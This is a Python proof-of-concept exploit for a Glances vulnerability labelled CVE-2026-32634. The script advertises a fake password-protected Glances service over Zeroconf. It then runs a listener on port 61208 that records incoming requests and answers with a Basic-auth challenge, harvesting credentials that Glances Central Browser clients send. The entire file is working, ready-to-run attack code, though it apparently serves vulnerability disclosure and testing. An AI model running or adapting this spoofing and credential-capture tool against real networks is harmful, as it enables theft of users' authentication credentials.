#!/usr/bin/env python3
"""
CVE-2026-32634 PoC - Fake Glances Zeroconf Service Advertiser
This PoC demonstrates how an attacker can advertise a fake Glances service
via Zeroconf to steal authentication credentials.
Usage: python3 cve_2026_32634_poc.py [fake_server_name]
"""
import socket
import struct
import time
from datetime import datetime
try:
import zeroconf
from zeroconf import ServiceInfo, Zeroconf
except ImportError:
print("[-] python-zeroconf not installed. Run: pip install zeroconf")
exit(1)
class FakeGlancesService:
def __init__(self, fake_name="protected-glances-server"):
self.fake_name = fake_name
self.zc = Zeroconf()
self.attacker_ip = self.get_local_ip()
def get_local_ip(self):
"""Get local IP address"""
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
s.connect(("8.8.8.8", 80))
ip = s.getsockname()[0]
except Exception:
ip = "127.0.0.1"
finally:
s.close()
return ip
def create_fake_service(self):
"""Create a fake Glances service info mimicking a protected server"""
# Glances service type
service_type = "_glances._tcp.local."
service_name = f"{self.fake_name}._glances._tcp.local."
# Service properties - mimic a password-protected Glances server
properties = {
b'version': b'4.0',
b'password': b'true', # Indicate password protected
b'cpu': b'true',
b'mem': b'true',
b'load': b'true',
b'process': b'true',
}
service_info = ServiceInfo(
service_type,
service_name,
addresses=[socket.inet_aton(self.attacker_ip)],
port=61208,
properties=properties,
server=f"{self.fake_name}.local."
)
return service_info
def advertise(self, duration=300):
"""Advertise the fake Glances service"""
print(f"[*] CVE-2026-32634 PoC - Fake Glances Zeroconf Advertiser")
print(f"[*] Fake server name: {self.fake_name}")
print(f"[*] Attacker IP: {self.attacker_ip}:61208")
print(f"[*] Duration: {duration} seconds")
print("[*] Waiting for victims to query Zeroconf services...")
service_info = self.create_fake_service()
try:
self.zc.register_service(service_info)
print(f"[+] Fake service '{self.fake_name}' advertised successfully")
print(f"[+] Any Glances Central Browser on the network will")
print(f" attempt to connect to {self.attacker_ip}:61208")
print(f" using credentials for '{self.fake_name}'")
# Wait and capture incoming connections
self.wait_for_connections(duration)
except Exception as e:
print(f"[-] Error advertising service: {e}")
finally:
self.cleanup()
def wait_for_connections(self, duration):
"""Simple HTTP server to capture Glances authentication attempts"""
import threading
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_socket.bind(('0.0.0.0', 61208))
server_socket.listen(5)
server_socket.settimeout(10)
captured_creds = []
start_time = time.time()
def handle_client(client_socket, addr):
try:
request = client_socket.recv(4096)
print(f"\n[!] Connection from {addr}")
print(f"[!] Request:\n{request.decode('utf-8', errors='ignore')}")
captured_creds.append({
'timestamp': datetime.now().isoformat(),
'source': str(addr),
'request': request.decode('utf-8', errors='ignore')
})
# Send 401 response
response = b"HTTP/1.1 401 Unauthorized\r\nWWW-Authenticate: Basic realm=\"Glances\"\r\n\r\n"
client_socket.send(response)
client_socket.close()
except Exception as e:
print(f"[-] Error handling client: {e}")
print("\n[*] Starting credential capture server on port 61208...")
while time.time() - start_time < duration:
try:
client, addr = server_socket.accept()
threading.Thread(target=handle_client, args=(client, addr)).start()
except socket.timeout:
continue
except Exception as e:
print(f"[-] Server error: {e}")
break
server_socket.close()
if captured_creds:
print(f"\n[+] Captured {len(captured_creds)} authentication attempts:")
for cred in captured_creds:
print(f" - {cred['timestamp']} from {cred['source']}")
def cleanup(self):
"""Cleanup Zeroconf registration"""
print("[*] Cleaning up...")
self.zc.close()
if __name__ == "__main__":
import sys
fake_name = sys.argv[1] if len(sys.argv) > 1 else "protected-glances-server"
print("\n" + "="*60)
print("CVE-2026-32634 - Glances Zeroconf Authentication Hijacking")
print("="*60 + "\n")
advertiser = FakeGlancesService(fake_name)
advertiser.advertise(duration=300)